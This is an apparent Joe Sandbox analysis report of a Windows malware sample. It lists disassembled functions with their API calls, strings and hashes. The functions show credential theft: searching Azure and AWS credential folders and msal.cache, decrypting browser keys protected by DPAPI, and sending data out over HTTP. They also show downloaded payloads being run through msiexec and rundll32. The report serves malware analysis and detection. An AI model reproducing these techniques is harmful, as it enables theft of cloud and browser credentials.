Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: c1a912e1918b28a31d7af5b1191f4ab077717743ad3d56635481e1ea4761ad81
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: c1a912e1918b28a31d7af5b1191f4ab077717743ad3d56635481e1ea4761ad81
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 022CCBF7 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0064A63C,00000000,?,0042144C,00000000,?,?), ref: 022CCCD3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 022CCCF0
GetFileSize.KERNEL32(00000000,00000000), ref: 022CCCFC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 022CCD0F
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 022CCD1C
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 022CCD40
StrStrA.SHLWAPI(?,0064A1B0,00420B52), ref: 022CCD5E
StrStrA.SHLWAPI(00000000,0064A364), ref: 022CCD85
StrStrA.SHLWAPI(?,0064A4D0,00000000,?,00421458,00000000,?,00000000,00000000,?,0064A15C,00000000,?,00421454,00000000,?), ref: 022CCF09
StrStrA.SHLWAPI(00000000,0064A4CC), ref: 022CCF20

Part of subcall function 022CCA87: memset.MSVCRT ref: 022CCABA
Part of subcall function 022CCA87: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 022CCAD8
Part of subcall function 022CCA87: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 022CCAE3
Part of subcall function 022CCA87: memcpy.MSVCRT(?,?,?), ref: 022CCB79

StrStrA.SHLWAPI(?,0064A4CC,00000000,?,0042145C,00000000,?,00000000,0064A0DC), ref: 022CCFC1
StrStrA.SHLWAPI(00000000,0064A5A8), ref: 022CCFD8

Part of subcall function 022CCA87: lstrcat.KERNEL32(?,00420B46), ref: 022CCBAA
Part of subcall function 022CCA87: lstrcat.KERNEL32(?,00420B47), ref: 022CCBBE
Part of subcall function 022CCA87: lstrcat.KERNEL32(?,00420B4E), ref: 022CCBDF

lstrlen.KERNEL32(00000000), ref: 022CD0AB
CloseHandle.KERNEL32(00000000), ref: 022CD103

Strings

, xrefs: 022CCC2D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: 9842806969cad6799f0f7568e9bc81044bc23dbf52ae901b6399e5f6c005bae5
Instruction ID: 0a7b4450b9d65634a85e0f2fefb9568e94289d68a23b06e8371795a75dc8f135
Opcode Fuzzy Hash: 9842806969cad6799f0f7568e9bc81044bc23dbf52ae901b6399e5f6c005bae5
Instruction Fuzzy Hash: 50E1FA76920248ABCB14EFE4DD95EEEB77ABF24300F144159F106A7194EF346A89CF60

Function 0040C990 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,007994D8,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,00799568,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,00799580), ref: 0040CB1E
StrStrA.SHLWAPI(?,00799C60,00000000,?,00421458,00000000,?,00000000,00000000,?,00792EA0,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,00799D00), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00792FC0), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912

StrStrA.SHLWAPI(?,00799D00,00000000,?,0042145C,00000000,?,00000000,00792FC0), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,00793100), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: ab42b5dea98dda6d1ec903180b661801f10a54a23581749008f7fe7b71c2160c
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: ab42b5dea98dda6d1ec903180b661801f10a54a23581749008f7fe7b71c2160c
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 00412E30 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

.msi, xrefs: 00413398
"" , xrefs: 0041309A
@Ly, xrefs: 00413199
<, xrefs: 00413490
/passive, xrefs: 0041345B
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
0y, xrefs: 00413190, 0041332A, 004134B6
.dll, xrefs: 004131E5
/y, xrefs: 00413047
C:\Windows\system32\rundll32.exe, xrefs: 00413332
/i ", xrefs: 004133E4

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$@Ly$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe$/y$0y
API String ID: 2507796910-2339340332
Opcode ID: 154c5dc731ad3e96d902aef29615356604d56b336ceddfc02004fe10789c21fa
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 154c5dc731ad3e96d902aef29615356604d56b336ceddfc02004fe10789c21fa
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.ADVAPI32(00000000,00796980,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
%s\%s, xrefs: 0041844D
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: be8ddf1fe9dc456048681201925a0f877c5bcd284375678f65f072a6cae44d7f
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: be8ddf1fe9dc456048681201925a0f877c5bcd284375678f65f072a6cae44d7f
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004196C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00410B85,?,00000000,?,00000000,004205C6,004205C5), ref: 004196E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 77704baf693414c0c6232ee0e38bb13a65318062e1f1704c2aae0d7082b93def
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 77704baf693414c0c6232ee0e38bb13a65318062e1f1704c2aae0d7082b93def
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 022C4AE7 Relevance: 21.5, APIs: 11, Strings: 1, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A51
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A68
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A7F
Part of subcall function 022C4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 022C4AA0
Part of subcall function 022C4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 022C4AB0

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 022C4B7C
StrCmpCA.SHLWAPI(?,0064A480), ref: 022C4BA1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 022C4D21
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,00421988,00000000,?,0064A514), ref: 022C504F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 022C506B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 022C507F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 022C50B0
InternetCloseHandle.WININET(00000000), ref: 022C5114
InternetCloseHandle.WININET(00000000), ref: 022C512C
HttpOpenRequestA.WININET(00000000,0064A49C,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 022C4D7C

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

InternetCloseHandle.WININET(00000000), ref: 022C5136

Strings

HJy, xrefs: 022C4E06, 022C4E0C, 022C4F47, 022C4F4D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: HJy
API String ID: 2402878923-2726783869
Opcode ID: e9436af98fd97f90fb33399614dfc20492c57c9e4b406ec8cb954eac7af19915
Instruction ID: c04cbfa863c877678abb076aa626a8679c7455da1ae4142f444f4038f47feaaf
Opcode Fuzzy Hash: e9436af98fd97f90fb33399614dfc20492c57c9e4b406ec8cb954eac7af19915
Instruction Fuzzy Hash: 80122E72A20718AACB14EBE4DD91FEEB37ABF25300F504199A10672194EF742F89CF51

Function 00419010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c966b1d2bff0186d16334794f0ecdb2948fd0a8507f778a3f9c1e08f5450a090
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: c966b1d2bff0186d16334794f0ecdb2948fd0a8507f778a3f9c1e08f5450a090
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: c36c6220a1731f690f2bad5fcd02e57531a13a3029cc92974acfb62a5780bfb7
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: c36c6220a1731f690f2bad5fcd02e57531a13a3029cc92974acfb62a5780bfb7
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 022D44E7 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 022D4505
memset.MSVCRT ref: 022D451C

Part of subcall function 022D9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 022D9072

lstrcat.KERNEL32(?,00000000), ref: 022D4553
lstrcat.KERNEL32(?,0064A30C), ref: 022D4572
lstrcat.KERNEL32(?,?), ref: 022D4586
lstrcat.KERNEL32(?,0064A5D8), ref: 022D459A

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022D8FF7: GetFileAttributesA.KERNEL32(00000000,?,022C1DBB,?,?,0042565C,?,?,00420E1F), ref: 022D9006

Part of subcall function 022C9F47: StrStrA.SHLWAPI(00000000,004212AC), ref: 022C9FA0
Part of subcall function 022C9F47: memcmp.MSVCRT(?,0042125C,00000005), ref: 022C9FF9

Part of subcall function 022C9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 022C9C53
Part of subcall function 022C9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 022C9C78
Part of subcall function 022C9C27: LocalAlloc.KERNEL32(00000040,?), ref: 022C9C98
Part of subcall function 022C9C27: ReadFile.KERNEL32(000000FF,?,00000000,022C16F6,00000000), ref: 022C9CC1
Part of subcall function 022C9C27: LocalFree.KERNEL32(022C16F6), ref: 022C9CF7
Part of subcall function 022C9C27: CloseHandle.KERNEL32(000000FF), ref: 022C9D01

Part of subcall function 022D9627: GlobalAlloc.KERNEL32(00000000,022D4644,022D4644), ref: 022D963A

StrStrA.SHLWAPI(?,0064A0D8), ref: 022D465A
GlobalFree.KERNEL32(?), ref: 022D4779

Part of subcall function 022C9D27: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,022C5155,00000000,00000000), ref: 022C9D56
Part of subcall function 022C9D27: LocalAlloc.KERNEL32(00000040,?,?,?,022C5155,00000000,?), ref: 022C9D68
Part of subcall function 022C9D27: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,022C5155,00000000,00000000), ref: 022C9D91
Part of subcall function 022C9D27: LocalFree.KERNEL32(?,?,?,?,022C5155,00000000,?), ref: 022C9DA6

Part of subcall function 022CA077: memcmp.MSVCRT(?,00421264,00000003), ref: 022CA094

lstrcat.KERNEL32(?,00000000), ref: 022D470A
StrCmpCA.SHLWAPI(?,004208D1), ref: 022D4727
lstrcat.KERNEL32(00000000,00000000), ref: 022D4739
lstrcat.KERNEL32(00000000,?), ref: 022D474C
lstrcat.KERNEL32(00000000,00420FB8), ref: 022D475B

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: e8d6e6767f46891ec996ef8822d66cebf734f8a34e2b49da607d012598c1f812
Instruction ID: 61eb6af298cb72095e52a379da0bdfdf943360b8c9da32a0bc21a365c6326266
Opcode Fuzzy Hash: e8d6e6767f46891ec996ef8822d66cebf734f8a34e2b49da607d012598c1f812
Instruction Fuzzy Hash: 587142B6910218BBDB14FBE0DC85FEE737AAF49300F008598E60596184DB75DB59CF91

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,00799988), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,007995C8), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,0079AB88), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
